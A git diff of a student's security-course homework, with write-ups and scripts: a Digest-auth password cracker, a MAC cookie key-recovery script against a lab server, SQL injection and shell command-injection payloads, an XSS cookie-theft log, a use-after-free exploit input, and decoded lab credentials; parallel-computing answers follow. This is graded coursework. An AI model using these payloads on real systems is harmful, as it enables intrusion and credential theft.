"/DPYEFbSBQA=c06893026441a70acf049b49540e97acd2bdd640" +uri = "/secret/cheese" +qop = "auth" +nc = "00000001" +cnonce = "ZjdlNTk0ZGZmMDQwZTU3OTM2MTIxOGEyNzljNDJlYzc=" +response = "872aafc461761e417d2df47b85e43d2b" + +# Calculate the response +with open("10k-most-common.txt") as f: + for line in f: + line = line.strip('\n').strip() + ha1 = hashlib.md5((username + ":" + realm + ":" + line).encode('utf-8')).hexdigest() + ha2 = hashlib.md5(("HEAD" + ":" + uri).encode('utf-8')).hexdigest() + response = hashlib.md5((ha1 + ":" + nonce + ":" + nc + ":" + cnonce + ":" + qop + ":" + ha2).encode('utf-8')).hexdigest() + # print(line + ":" + response) + if (response == "872aafc461761e417d2df47b85e43d2b"): + print("Password: " + line) + break diff --git a/OLD/csci5271/ho2/crack6.py b/OLD/csci5271/ho2/crack6.py new file mode 100644 index 0000000..e17aca2 --- /dev/null +++ b/OLD/csci5271/ho2/crack6.py @@ -0,0 +1,21 @@ +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning +import string + +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +actual = "" +for n in range(19, -1, -1): + C = "Z" * n + res2 = requests.get("https://192.168.14.1/mac-cookie?username="+C, + verify=False).text.replace(".", "").split(" ")[-1].split('\n')[0] + for c in string.printable: + test = C + c + actual + res1 = requests.get("https://192.168.14.1/mac-cookie?username="+test, + verify=False).text.replace(".", "").split(" ")[-1].split('\n')[0] + print(test, res1, C, res2) + if res1 == res2: + actual = c + actual + break + +print("Key is", actual) diff --git a/OLD/csci5271/ho2/writeup.md b/OLD/csci5271/ho2/writeup.md new file mode 100644 index 0000000..ea63dd3 --- /dev/null +++ b/OLD/csci5271/ho2/writeup.md @@ -0,0 +1,139 @@ +# 1 + +## Packet + +``` +IP 192.168.14.3.46826 > 192.168.14.1.80: Flags [P.], seq 1:143, ack 1, win 502, options [nop,nop,TS val 1452909150 ecr 2428281190], length 142: HTTP: GET /secret/file HTTP/1.1 +E.....@.@..............P.Tw.|..j........... +V..^...fGET /secret/file HTTP/1.1 +Host: 192.168.14.1 +Authorization: Basic dHJhdmlzMTQ6bWFpdkRlY2d1cjIyMDI= +User-Agent: curl/7.58.0 +Accept: */* +``` + +## User/Pass +`travis14:maivDecgur2202` + +## Contents + +```html +I'm going to let you in on a little secret. Every day, once a day, give yourself a present. Don’t plan it; don’t wait for it; just let it happen. +- Dale Cooper +``` + +# 2 +## Packet + +``` +182203 IP 192.168.14.2.36586 > 192.168.14.1.80: Flags [P.], seq 91:464, ack 308, win 501, options [nop,nop,TS val 422351445 ecr 1957960104], length 373: HTTP: HEAD /secret/cheese HTTP/1.1 +E.....@.@..v...........P,.................. +.,.Ut...HEAD /secret/cheese HTTP/1.1 +Host: 192.168.14.1 +Authorization: Digest username="travis14", realm="Cheese", nonce="/DPYEFbSBQA=c06893026441a70acf049b49540e97acd2bdd640", uri="/secret/cheese", cnonce="ZjdlNTk0ZGZmMDQwZTU3OTM2MTIxOGEyNzljNDJlYzc=", nc=00000001, qop=auth, response="872aafc461761e417d2df47b85e43d2b", algorithm="MD5" +User-Agent: curl/7.58.0 +Accept: */* +``` + +## Crack + +```python +# HTTP Digest Authentication cracker +import hashlib + +username = "travis14" +realm = "Cheese" +nonce = "/DPYEFbSBQA=c06893026441a70acf049b49540e97acd2bdd640" +uri = "/secret/cheese" +qop = "auth" +nc = "00000001" +cnonce = "ZjdlNTk0ZGZmMDQwZTU3OTM2MTIxOGEyNzljNDJlYzc=" +response = "872aafc461761e417d2df47b85e43d2b" + +# Calculate the response +with open("10k-most-common.txt") as f: + for line in f: + line = line.strip('\n').strip() + ha1 = hashlib.md5((username + ":" + realm + ":" + line).encode('utf-8')).hexdigest() + ha2 = hashlib.md5(("HEAD" + ":" + uri).encode('utf-8')).hexdigest() + response = hashlib.md5((ha1 + ":" + nonce + ":" + nc + ":" + cnonce + ":" + qop + ":" + ha2).encode('utf-8')).hexdigest() + # print(line + ":" + response) + if (response == "872aafc461761e417d2df47b85e43d2b"): + print("Password: " + line) + break + +``` +## Password + +`Password: domain` + +## Contents + +``` +Intelligence alone is not nearly enough when it comes to acting wisely. + +— Fyodor Dostoevsky +``` + +# 3 + +## Cookie + +`Stephen2019-11-03T12%3A44%3A21Z` + +# 4 + +The secret to figuring out the SQL injection was ~~trying everything~~ tuning the query to stop returning Error 500. + +## Request + +`picture=char-kway-teow.jpg'+OR+1=1+AND'user=alice--` + +## Response + +`The best char kway teow is Penang char kway teow (lat: 5.411135 / lng: 100.330462)` + +# 5 + + +## XSS + +```html + +``` + +## Cookie +`GET /?cookie=auth=Iwillseeyouagainin32years. HTTP/1.1" 200 -` + +## Writeup +The main additional thing I did was start up a `SimpleHTTPServer` on port 8080 of the server I have SSH access to. The attack works because the server is making an HTTP request to that port with the cookie being that of the browser. + +# 6 +## Code +```python +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning +import string + +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +actual = "" +key = "Z"*19 +for n in range(19, -1, -1): + res2 = requests.get("https://192.168.14.1/mac-cookie?username="+key, + verify=False).text.replace(".", "").split(" ")[-1].split('\n')[0] + for c in string.printable: + test = key[:n] + c + res1 = requests.get("https://192.168.14.1/mac-cookie?username="+test, + verify=False).text.replace(".", "").split(" ")[-1].split('\n')[0] + #print(test, res1, res2) + if res1 == res2: + actual = c + actual + break + key = key[:-1] + +print("Key is", actual) +``` + +## Key +`###################k` diff --git a/OLD/csci5271/hw1/hw1p2a.pl b/OLD/csci5271/hw1/hw1p2a.pl new file mode 100755 index 0000000..a8bfe2e --- /dev/null +++ b/OLD/csci5271/hw1/hw1p2a.pl @@ -0,0 +1,12 @@ +#!/usr/bin/perl +print "Content-Type: text/html\r\n\r\n"; +print "\n"; +($field_name, $username_to_look_for) = split(/=/, <>); +chomp $username_to_look_for; +$result = `last -1000 | grep $username_to_look_for`; +if ($result) { +print "$username_to_look_for has logged in recently.\n"; +} else { +print "$username_to_look_for has NOT logged in recently.\n"; +} +print "\n"; \ No newline at end of file diff --git a/OLD/csci5271/hw1/hw1p2b.c b/OLD/csci5271/hw1/hw1p2b.c new file mode 100644 index 0000000..df5ac73 --- /dev/null +++ b/OLD/csci5271/hw1/hw1p2b.c @@ -0,0 +1,28 @@ +#include +#include +#include +#include +void silly_function(char *pathname) { + struct stat f, we; + int rfd, wfd; + char *buf; + stat(pathname, &f); + stat("./critical", &we); + if (f.st_dev == we.st_dev && f.st_ino == we.st_ino) { + return; + } + rfd = open(pathname, O_RDONLY); + buf = malloc(f.st_size - 1); + read(rfd, buf, f.st_size - 1); + close(rfd); + stat(pathname, &f); + if (f.st_dev == we.st_dev && f.st_ino == we.st_ino) { + return; + } + wfd = open(pathname, O_WRONLY | O_TRUNC); + write(wfd, buf, f.st_size - 1); + close(wfd); + free(buf); +} + +int main() { silly_function("./not"); } \ No newline at end of file diff --git a/OLD/csci5271/hw1/hw1p3.c b/OLD/csci5271/hw1/hw1p3.c new file mode 100644 index 0000000..53ecc96 --- /dev/null +++ b/OLD/csci5271/hw1/hw1p3.c @@ -0,0 +1,25 @@ +#include +#include + +void payment(char *name, double amount_cny, char *purpose, int purpose_len) +{ + double amount_usd = amount_cny / 6.466; + char memo[40]; + strcpy(memo, "Payment for: "); + memcpy(memo + strlen(memo), purpose, purpose_len); + //write_check(name, amount_usd, memo); + printf("address of amount_usd: %p\naddress of memo: %p\n", &amount_usd, memo); + printf("purpose_len: %d\n", purpose_len); + printf("amount_usd: %f\npurpose: %s\n", amount_usd, purpose); + return; +} + +int main() +{ + char name[] = "username"; + double amount_cny = 646.60; + char purpose[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; + int purpose_len = strlen(purpose); + payment(name, amount_cny, purpose, purpose_len); + return 0; +} \ No newline at end of file diff --git a/OLD/csci5271/hw1/hw1p4.c b/OLD/csci5271/hw1/hw1p4.c new file mode 100644 index 0000000..4526e43 --- /dev/null +++ b/OLD/csci5271/hw1/hw1p4.c @@ -0,0 +1,32 @@ +#include + +/* Reverse the elements from FROM to TO, inclusive */ +void reverse_range(int *a, int from, int to) +{ + unsigned int *p = &a[from]; + unsigned int *q = &a[to]; + /* Until the pointers move past each other: */ + while (!(p == q + 1 || p == q + 2)) + { + /* Swap *p with *q, without using a temporary variable */ + *p += *q; /* *p == P + Q */ + *q = *p - *q; /* *q == P + Q - Q = P */ + *p = *p - *q; /* *p == P + Q - P = Q */ + /* Advance pointers towards each other */ + p++; + q--; + } +} + +int main() +{ + int a[10] = {255, 0, -65536, 2147483647, -2147483648, + -1, 0, 1, 2, 3}; + reverse_range(a, 9, 0); + for (int i = 0; i < 10; i++) + { + printf("%d ", a[i]); + } + printf("\n"); + return 0; +} \ No newline at end of file diff --git a/OLD/csci5271/hw1/hw1writeup.md b/OLD/csci5271/hw1/hw1writeup.md new file mode 100644 index 0000000..721d669 --- /dev/null +++ b/OLD/csci5271/hw1/hw1writeup.md @@ -0,0 +1,120 @@ +# Homework 1 + +## Q1 + +### Database Threat Model + +The main threat of the model is accessing the database. Any access to the server of the database is considered a threat because it can potentially be used as a vector for privilege escalation and database access. The server can be accessed either over a network that may or may not exist or directly connecting to the machine itself. + +The potential attackers would be any students or other users who potentially have access to the machine with the database. + +The most reasonable attacks would be guessing the credentials to access the database, most likely by brute forcing a password if one exists. + +Impossible threats would be from people and devices that cannot access the machine containing the database. + +### Without Network + +Without networking hardware, one major threat vector (the network) is gone. + +One way to mitigate threats is to encrypt the database and the computer containing the database with a password resistant to brute forcing if someone were to obtain the computer. If the algorithm is slow, an old computer could be even more slowed down by the decryption. + +Another way to mitigate threats is to lock the computer up when it is not being used. + +## Q2 + +### A: Perl + +After adding a name to the request, add a semicolon followed by the command. The semicolon is the shell command separator which allows it to parse new commands. + +#### Example Request Body + +```perl +'field-name=; ls' +``` + +#### Fixes (taken from ) + +One way to fix the script would be replacing the unsafe `last -1000 | grep $username_to_look_for` command with a more safe call that cannot be hijacked for arbitrary code execution. Another way would be rewriting the script to prevent the shell being run at all. + +### B: C + + + +## Q3 + +Overfilling the buffer normally causes the program to crash from stack smashing. This can be undone by finding the canary value and using it to overwrite the canary value after the buffer overflow. The CFI can be beaten by jumping to a known legal target. + +On big and little endian machines, the byte order is reversed. + +## Q4 + +### A + +#### Mistake 1: Potentially overloading the array + +If the function is called with `to` larger than outer bound of the array, there is a buffer overflow that happens. For example, running it by default with an array of size 10 with a `to` of 11 on gcc 11.1 causes it to crash because of stack smashing. + +#### Mistake 2: Negative numbers the array + +If the function is called with `from` smaller than 0 will cause the array to look at addresses before the array, potentially causing the program to segfault. + +#### Mistake 3: Swapping the to and from + +If the function is called with `from` larger than `to`, the program will segfault from accessing invalid memory addresses. + +### B: Same Signature + +```c +void reverse_range(int *a, int from, int to) { + //Not sure how to check if to is too big + if (from < 0 || to < from) + return; + for (int i = from; i < to; i++) { + int temp = a[i]; + a[i] = a[to]; + a[to] = temp; + to--; + } +} + +``` + +### C: Different Signature + +```c + void reverse_range(int *arr, int arrSize, int from, int to) { + //Program should exit if it works backwards or goes out of bounds + if (from < 0 || to >= arrSize || to < from) + return; + for (int i = from; i < to; i++) { + int temp = arr[i]; + arr[i] = arr[to]; + arr[to] = temp; + to--; + } + return; + } +``` + +The main difference is that the function needs the size of the array since it can't be found from the function itself. + +## Q5 + +### A + +Start out with the binary representation of 20, 00010100. Then shift the bits to the right and toggle bit 31. Then left shift (multiply by 2) and you get 20. +2147483668 and 2 are two numbers that give 20 when multiplied. +Also works with 1073741829 and 4. + +### B + +The easiest way at first would seems like it would be to get the largest unsigned integer, divide it by 7 and add 3 to get the overflow to 20, getting back to multiplying and you get 7. The problem is that doesn't work. You get 17. +The next thing to try is doubling the integer and adding 20 to get it to overflow twice. Thankfully `0x200000014` is cleanly divisible by 7. + +`200000014*7=20` + +### C + +```c + printf("$1%.27d spear%c%.0x %.7sion %o\n", 0, 104, 962029, "evacuate", 13023); +``` diff --git a/OLD/csci5271/hw2/ex2-animals.c b/OLD/csci5271/hw2/ex2-animals.c new file mode 100644 index 0000000..983d2b5 --- /dev/null +++ b/OLD/csci5271/hw2/ex2-animals.c @@ -0,0 +1,131 @@ +#include +#include +#include + +typedef void (*toes_func)(void); + +void even_toes(void) { + printf("with even-toed hoofs"); +} + +void odd_toes(void) { + printf("with odd-toed hoofs"); +} + +/* Assume this function has the address 0x4012ce */ +void shellcode(void) { + printf("Uh-oh, this looks like some sort of attack\n"); + exit(42); +} + +struct herbivore { + struct herbivore *next; + toes_func func; +}; + +struct herbivore *herbivore_list = 0; + +struct carnivore { + struct carnivore *next; + long num_teeth; +}; + +struct carnivore *carnivore_list = 0; + +#define NUM_ANIMALS 256 + +/* Initialized to all null pointers */ +void *animals_by_num[NUM_ANIMALS]; + +void new_herbivore(long x) { + int loc = x & (NUM_ANIMALS - 1); + struct herbivore *hp = malloc(sizeof(struct herbivore)); + printf("Allocating herbivore at %p\n", hp); + if (!hp) + exit(1); + if (x & 1) + hp->func = odd_toes; + else + hp->func = even_toes; + hp->next = herbivore_list; + herbivore_list = hp; + animals_by_num[loc] = hp; +} + +void new_carnivore(long x) { + int loc = x & (NUM_ANIMALS - 1); + struct carnivore *cp = malloc(sizeof(struct carnivore)); + printf("Allocating carnivore at %p\n", cp); + if (!cp) + exit(1); + cp->num_teeth = x; + cp->next = carnivore_list; + carnivore_list = cp; + animals_by_num[loc] = cp; +} + +void release_animal(long x) { + int loc = x & (NUM_ANIMALS - 1); + if (!animals_by_num[loc]) { + fprintf(stderr, "Attempt to release non-existant animal\n"); + exit(1); + } + free(animals_by_num[loc]); + animals_by_num[loc] = 0; +} + +void list_animals(void) { + struct herbivore *hp; + struct carnivore *cp; + for (hp = herbivore_list; hp; hp = hp->next) { + printf("A herbivore "); + (hp->func)(); + printf("\n"); + } + + for (cp = carnivore_list; cp; cp = cp->next) { + printf("A carnivore with %ld teeth\n", cp->num_teeth); + } +} + +void syntax_error(void) { + fprintf(stderr, "Unrecognized syntax\n"); + exit(1); +} + +int main(int argc, char **argv) { + for (;;) { + int c = getchar(); + long x; + while (isspace(c)) + c = getchar(); + if (c == EOF) + return 0; + switch (c) { + case 'h': + if (scanf(" %li", &x) != 1) + syntax_error(); + new_herbivore(x); + break; + case 'c': + if (scanf(" %li", &x) != 1) + syntax_error(); + new_carnivore(x); + break; + case 'r': + if (scanf(" %li", &x) != 1) + syntax_error(); + release_animal(x); + break; + case 'l': + list_animals(); + break; + case 'q': + return 0; + break; + default: + fprintf(stderr, "Unrecognized command %c\n", c); + exit(1); + } + } +} diff --git a/OLD/csci5271/hw2/ex2-template.tex b/OLD/csci5271/hw2/ex2-template.tex new file mode 100644 index 0000000..faf0be8 --- /dev/null +++ b/OLD/csci5271/hw2/ex2-template.tex @@ -0,0 +1,66 @@ +\documentclass[11pt]{article} +\usepackage{fullpage}\usepackage{listings} +\usepackage{graphicx} +\usepackage{times} + +\begin{document} +\begin{center} +CSci 5271 Fall 2021 Exercise Set 2 answers +\end{center} +\graphicspath{{./}} + +\vspace{10pt} + +\begin{tabular}{|p{2.6in}|p{2.6in}|}\hline +Name & UMN email address\\\hline +Matt Strapp & strap012@umn.edu \\\hline +\end{tabular} + +\vspace{10pt} + +Question 1 (buffer overflows and invariants, 25 pts): + +Example input that causes a buffer overflow: +\begin{verbatim} + "{}{}{}{}{}{}{}{}{}{}" +\end{verbatim} + +A list of invariants for the transform function: +\begin{itemize} + \item bp is increased by one for every opening brace or bracket and goes down by one for every closing brace or bracket. (this gets violated) + \item The brace/bracket level is equal to the number of opening braces or brackets respectively minus the number of closing brackets. + \item The rotation level is increased by 13 for every opening curly brace, resetting to 0 when equal to 26. +\end{itemize} +The change that needs to be made is to make sure that bp decrements when there is an opening curly brace regardless of the rotate amount. + +\newpage + +Question 2 (a heap-related vulnerability, 20 pts): +\begin{verbatim} + "h 0x4012ce r 0x4012ce c 0x4012ce l" + //(all of those commands are separated by \n) +\end{verbatim} + +This code is an example of a use-after-free exploit. The way this exploit works is first the program allocates the herbivore with 0x4012ce hooves and is immediately freed. A carnivore is then created with the same address as the previously freed herbivore. The \verb|l| then reads the previously freed herbivore's hooves value as a function and it executes herbivore's toe count as a function, which was set to the address of \verb|shellcode()|. + +\newpage + +Question 3 (reference monitor without hardware support, 15 pts): + +One way to to implement a software reference monitor is to introduce Mandatory Access Control. Mandatory access control will still prevent malicious actors from accessing unwanted data even if they become the root user. SELinux would be a good example of non-hardware reference monitors. + +\newpage + +Question 4 (sharing files on Unix, 20 pts): + +The program does not check that the user is supposed to write the output file in read or read the input file in write, allowing potentially arbitrary read/write privileges. This can be solved by implementing that check. +The list of users with access would need to be updated frequently to ensure that someone properly loses access. A possible mitigation problem would be automating actively updating the list of users with and without access but that might not be possible. +The program also implies that the user running the program is actually the real user and not someone impersonating them. The problem with impersonating could be solved with passwords but those can be cracked. + +\newpage + +Question 5 (Multilevel-secure classification, 20 pts): + +\includegraphics{lattice} + +\end{document} diff --git a/OLD/csci5271/hw2/ex2-transform.c b/OLD/csci5271/hw2/ex2-transform.c new file mode 100644 index 0000000..b857042 --- /dev/null +++ b/OLD/csci5271/hw2/ex2-transform.c @@ -0,0 +1,103 @@ +#include +#include +#include + +char rot_char(char c, int amt) { + if (c >= 'A' && c <= 'Z') + return 'A' + ((c - 'A') + amt) % 26; + else if (c >= 'a' && c <= 'z') + return 'a' + ((c - 'a') + amt) % 26; + else + return c; +} + +void transform(char *inputBuffer, char *outputBuffer, int inLimit) { + char *inputPointer = inputBuffer; + char *outputPointer = outputBuffer; + char *outLimit = &outputBuffer[inLimit - 8]; + char c; + int in_underline, last_underline, rotate_amount, skipping; + int bracket_level, brace_lvl; + in_underline = bracket_level = brace_lvl = last_underline = rotate_amount = skipping = 0; + + while ((c = *inputPointer++) != '\0') { + if (bracket_level > 0) + c = toupper(c); + + c = rot_char(c, rotate_amount); + + if (c == '/') + in_underline = !in_underline; + + skipping = (outputPointer >= outLimit); + if ((unsigned)c - (unsigned)'[' < 3u && c != '\\') { + int i = (c & 2) ? 1 : -1; + if (bracket_level + i >= 0 && !skipping) { + bracket_level += i; + outLimit -= i; + } + } + + if (c == '{') { + if (!skipping) { + brace_lvl++; + } + rotate_amount += 13; + if (rotate_amount == 26) { + rotate_amount = 0; + outLimit -= 2; + } + } + if (c == '}' && brace_lvl > 0) { + if (!skipping) { + brace_lvl--; + outLimit++; + } + rotate_amount -= 13; + if (rotate_amount < 0) + rotate_amount = 0; + } + + if (in_underline && isalpha(c) && !last_underline && !skipping) + *outputPointer++ = '_'; + + if (c != '/' && !skipping) + *outputPointer++ = c; + + if (in_underline && isalpha(c)) { + if (!skipping) + *outputPointer++ = '_'; + last_underline = 1; + } else { + last_underline = 0; + } + } + while (bracket_level-- > 0) + *outputPointer++ = ']'; + while (brace_lvl-- > 0) + *outputPointer++ = '}'; + *outputPointer++ = ' '; + *outputPointer++ = 'e'; + *outputPointer++ = 'n'; + *outputPointer++ = 'd'; + *outputPointer++ = '\0'; +} + +int main(int argc, char **argv) { + char buf[64]; + if (argc != 2) { + fprintf(stderr, "Usage: transform \n"); + fprintf(stderr, "You should probably use quotes around the string.\n"); + return 1; + } + printf("%s\n", argv[1]); + buf[20] = '\242'; + transform(argv[1], buf, 20); + printf("%s\n", buf); + /* This canary-like check isn't foolproof, and it isn't the point + of the exercise, but for testing purposes it makes it easy to + see that an overflow has happened. */ + if (buf[20] != '\242') + fprintf(stderr, "Overflow detected\n"); + return 0; +} diff --git a/OLD/csci5271/hw2/lattice.png b/OLD/csci5271/hw2/lattice.png new file mode 100644 index 0000000..3b96eed Binary files /dev/null and b/OLD/csci5271/hw2/lattice.png differ diff --git a/OLD/csci5271/hw4/ex4-template.tex b/OLD/csci5271/hw4/ex4-template.tex new file mode 100644 index 0000000..1ade998 --- /dev/null +++ b/OLD/csci5271/hw4/ex4-template.tex @@ -0,0 +1,88 @@ +\documentclass[11pt]{article} +\usepackage{fullpage} +\usepackage{times} + +\begin{document} +\begin{center} +CSci 5271 Fall 2021 Exercise Set 4 answers template +\end{center} + +Please use this document as a template for submitting your answers to +exercise set 4. (This template is available from the course web site +in either LaTeX or Google Doc formats). Type your answers on each page +after the question prompt (you can use additional pages, though that +we expect that would rarely be required). If you can write all your +answers electronically, please do so and export to a PDF to submit. +If you would prefer to hand-draw figures, you can also submit a scan. + +Please ensure that the names and UMN email addresses of all of your +group members are recorded on Gradescope, and also confirm them below: + +\vspace{10pt} + +\begin{tabular}{|p{2.6in}|p{2.6in}|}\hline + Name & UMN email address\\\hline + Matt Strapp & strap012@umn.edu \\\hline +\end{tabular} + +\vspace{10pt} + +Question 1 (Entropy in blackjack, 36 pts): + +Part 1(a), seed with time + +Having a predictable time seed will help an attacker brute force the seed by reducing the number of possible guesses needed. + +\vspace{2in} + +Part 1(b), seed with PID + +Having such a small number of seeds allows a malicious user to brute force guessing the seed. + +Related CVE: https://nvd.nist.gov/vuln/detail/CVE-2008-0166 + +\newpage + +Part 1(c), seed with time XOR PID + +This is the same problem as part 1(a), the seed size is too small. This can be brute forced by an attacker. + +\vspace{3in} + +Part 1(d), your approach + +One possible implementation of the seed is to start out with concatenating the PID onto the time (time + PID, where the time is the one appended to), XOR the new number with the time, and encoding the result with base64. +The main point of this approach is to broaden the possible number of seeds, making it significantly longer if not functionally infeasible to brute force. + +\newpage + +Question 2 (Cross-site scripting, 18 pts): + +Replace text/html with text/plain in the content type. This will cause the browser to display the page as plain text, not as HTML, mitigating the risk of cross-site scripting for this one use case. + +\vspace{3.5in} + +Question 3 (Delaying against DoS, 22 pts): + +No, it will not. A simple exploit of this module would be to simply have multiple devices behind different IPs all send singular requests to the server at various times, making sure to slowly delay the rate of requests. This would allow the server to be overwhelmed from a Distributed DoS (DDoS) attack. + +\newpage + +Question 4 (ViruSniff, 24 pts): + +Part 4(a), claim versus the halting problem + +(largely taken from https://www.cs.virginia.edu/~evans/pubs/virus.pdf) + +The problem does directly conflict with the halting problem. It is an \emph{example} of the halting problem. +The paper states that the antivirus problem that is perfectly effective will also be able to solve the halting problem, which was proven to be impossible by Turing. + +\vspace{3.5in} + +Part 4(b), the real ViruSniff algorithm + +What could be done is to insert the malicious code at a place that executes after 10000 instructions. This will never be labelled as a virus since the program does not look at the instructions beyond 10000. +Sam's claim is impossible. There cannot be a 100\% effective antivirus product. + + +\end{document} \ No newline at end of file diff --git a/OLD/csci5451/ass1.tex b/OLD/csci5451/ass1.tex new file mode 100644 index 0000000..24f2e0c --- /dev/null +++ b/OLD/csci5451/ass1.tex @@ -0,0 +1,139 @@ +\documentclass[12pt]{article} +\usepackage{fullpage}\usepackage{listings} +\title{Assignment 1} +\author{Andrea Smith (smit9523@umn.edu), Matt Strapp (strap012@umn.edu)} +\date{2021-09-18} + +\begin{document} +\maketitle + \section{Question 1} + \subsection*{Overlapping Intervals} + The time for one message to be sent 1 hop is \(t_s+t_w*m/k\). After the first message is sent forward one hop, we account for the final message \((d-1)*t_w*m/k\), making the final expression + \[k(t_s+t_w+m/k)+((d-1)t_w*m/k)\] + \subsection*{Non-Overlapping Intervals} + \[t_{transfer} = t_s*k+t_w*d*m\] + \subsection*{} + For both cases, as \(k\) goes to \(m\), the time to transfer will increase greatly. If \(t_s\) is very large, the optimal value of \(k\) is 1. In other words, it is better to transfer the message all at once instead of in \(k\) parts. If \(t_s\) is 0 it has little to no effect on overall transmission time regardless of \(k\) being large or small. + \section{Question 2} + \subsection*{A} + Shared memory has all of the processors access one large pool of memory while distributed memory has each processor have a section of the memory. + \subsection*{B} + Distributed memory programs communicate via pipes and message queues while shared memory programs share memory with locks in place to prevent unintended behavior and race conditions. + \subsection*{C} + Shared memory is in most devices nowadays with even phones having multiple cores and a single bank of shared memory. Large rendering farms and HPC will have distributed memory to split rendering or to maximize performance. + \subsection*{D} + Distributed is easier to scale because the cluster can have nodes added or removed easily without affecting the other nodes. + \section{Question 3} + \subsection*{A}\ + \noindent Concurrency: 8\\ + Critical path length: 4\\ + Maximum achievable speedup: \(15/4\) \\ + Minimum number of processes needed: 8\\ + Maximum achievable speedup if the number of processes is limited to: + \begin{itemize} + \item[2]-- \(15/8\) + \item[4]-- \(15/5\) + \item[8]-- \(15/4\) + \end{itemize} + \subsection*{B} + Concurrency: 8\\ + Critical path length: \\ + Maximum achievable speedup: \\ + Minimum number of processes needed: \\ + Maximum achievable speedup if the number of processes is limited to: + \begin{itemize} + \item[2]-- \(15/8\) + \item[4]-- \(15/5\) + \item[8]-- \(15/4\) + \end{itemize} + \subsection*{C} + Concurrency: 8\\ + Critical path length: 7\\ + Maximum achievable speedup: \(14/7\)\\ + Minimum number of processes needed: \\ + Maximum achievable speedup if the number of processes is limited to: + \begin{itemize} + \item[2]-- \(14/10\) + \item[4]-- \(14/8\) + \item[8]-- \(14/7\) + \end{itemize} + \subsection*{D} + Concurrency: 2\\ + Critical path length: 8\\ + Maximum achievable speedup: \(15/8\)\\ + Minimum number of processes needed: 2\\ + Maximum achievable speedup if the number of processes is limited to: + \begin{itemize} + \item[2]-- \(15/8\) + \item[4]-- \(15/8\) + \item[8]-- \(15/8\) + \end{itemize} + + \section{Question 4} + \subsection*{A} + A[] is partitioned into uniform sub arrays that are of size N/P. Each process counts the frequency of every integer in the range R in its subarray. Each process then forwards its result to the next process, summing each integer count in its appropriate index until H[] is complete. + \subsection*{B} + Each process gets a subsection of the range of size R/P and all of A[]. Each process counts the frequency of the integers in its subsection. At the end each process forwards its result to the next process until the final process contains the array of counts H[]. + \subsection*{C} + Input Partitioning: + \begin{itemize} + \item Requires less memory bc each proc gets N/P + \item Almost always faster than output partitioning + \item IF \(R>>N\), could waste time looking for R values that aren’t even in A + \end{itemize} + Output Partitioning: + \begin{itemize} + \item Requires more memory because every process gets all of A[], potentially impossible depending on memory size. + \item Almost always slower unless \(R>>N\),, where input partitioning would waste time + \end{itemize} + \section{Question 5} + Propagate message to all of column 1: + \begin{displaymath} + t_{single}=t_s+t_w*m*C/2 + \end{displaymath} + \begin{displaymath} + t_{column}=\sum_{i=0}^{\log_2(C)-1} t_s+t_w*m*d + \end{displaymath} + After message propagates down the column, do the same for the rows in parallel. + \begin{displaymath} + t_{row}=\sum_{i=0}^{\log_2(R)-1} t_s+t_w*m*d + \end{displaymath} + The total time is the sum of the time along the rows and the columns. + \begin{displaymath} + t_{comm}=t_{column}+t_{row} + \end{displaymath} + + Pseudo code: + \begin{lstlisting}[language=C]] + //Assume first processor with message is (0,0) + for(int c=0;c<(C/2);c++) { + forward_message(0,c,msg); + } + int i=0, j=0; + //Column loop, parallelized between both messages + while(true) { + if (message is not in node) { + send_message(i,j++,msg); + } else { + break; + } + } + //Parallelized among all rows + for(int r=0;r<(r/2);r++) { + forward_message(r,0,msg); + } + //Row loop, parallelized between all rows with messages + while(true) { + if (message is not in node) { + send_message(i++,j,msg); + } else { + break; + } + } + \end{lstlisting} + \section{Question 6} + \subsection*{A} + Loops: One way to parallelize the heat problem is to compute the inner loop that computes H[t+1] values simultaneously. It would not be feasible to select the outer, doubly nested loop because t increments with every outer loop. You cannot parallelize a process that relies on the previous time. The other loops either display the chart or set the problem up which needs to be sequential. + \subsection*{B} + Let each processor have a single chunk of the rod, with the processors lined up so that the chunks are in a straight line shaped like the rod. Each node only needs to communicate with nodes directly adjacent to it as time progresses, minimizing the needed communication. +\end{document} \ No newline at end of file diff --git a/OLD/csci5451/ass1p6.c b/OLD/csci5451/ass1p6.c new file mode 100644 index 0000000..d87eddd --- /dev/null +++ b/OLD/csci5451/ass1p6.c @@ -0,0 +1,103 @@ +#include +#include +// HEAT TRANSFER SIMULATION +// +// Simple physical simulation of a rod connected at the left and right +// ends to constant temperature heat/cold sources. All positions on +// the rod are set to an initial temperature. Each time step, that +// temperature is altered by computing the difference between a cells +// temperature and its left and right neighbors. A constant k +// (thermal conductivity) adjusts these differences before altering +// the heat at a cell. Use the following model to compute the heat +// for a position on the rod according to the finite difference +// method. +// +// left_diff = H[t][p] - H[t][p-1]; +// right_diff = H[t][p] - H[t][p+1]; +// delta = -k*( left_diff + right_diff ) +// H[t+1][p] = H[t][p] + delta +// +// Substituting the above, one can get the following +// +// H[t+1][p] = H[t][p] + k*H[t][p-1] - 2*k*H[t][p] + k*H[t][p+1] +// +// The matrix H is computed for all time steps and all positions on +// the rod and displayed after running the simulation. The simulation +// is run for a fixed number of time steps rather than until +// temperatures reach steady state. + +int main(int argc, char **argv) +{ + int max_time = 50; // Number of time steps to simulate + int width = 20; // Number of cells in the rod + double initial_temp = 50.0; // Initial temp of internal cells + double L_bound_temp = 20.0; // Constant temp at Left end of rod + double R_bound_temp = 80.0; // Constant temp at Right end of rod + double k = 0.5; // thermal conductivity constant + double **H; // 2D array of temps at times/locations + + // Allocate memory + H = malloc(sizeof(double *) * max_time); + int t, p; + for (t = 0; t < max_time; t++) + { + H[t] = malloc(sizeof(double *) * width); + } + + // Initialize constant left/right boundary temperatures + for (t = 0; t < max_time; t++) + { + H[t][0] = L_bound_temp; + H[t][width - 1] = R_bound_temp; + } + + // Initialize temperatures at time 0 + t = 0; + for (p = 1; p < width - 1; p++) + { + H[t][p] = initial_temp; + } + + // Simulate the temperature changes for internal cells + for (t = 0; t < max_time - 1; t++) + { + for (p = 1; p < width - 1; p++) + { + double left_diff = H[t][p] - H[t][p - 1]; + double right_diff = H[t][p] - H[t][p + 1]; + double delta = -k * (left_diff + right_diff); + H[t + 1][p] = H[t][p] + delta; + } + } + + // Print results + printf("Temperature results for 1D rod\n"); + 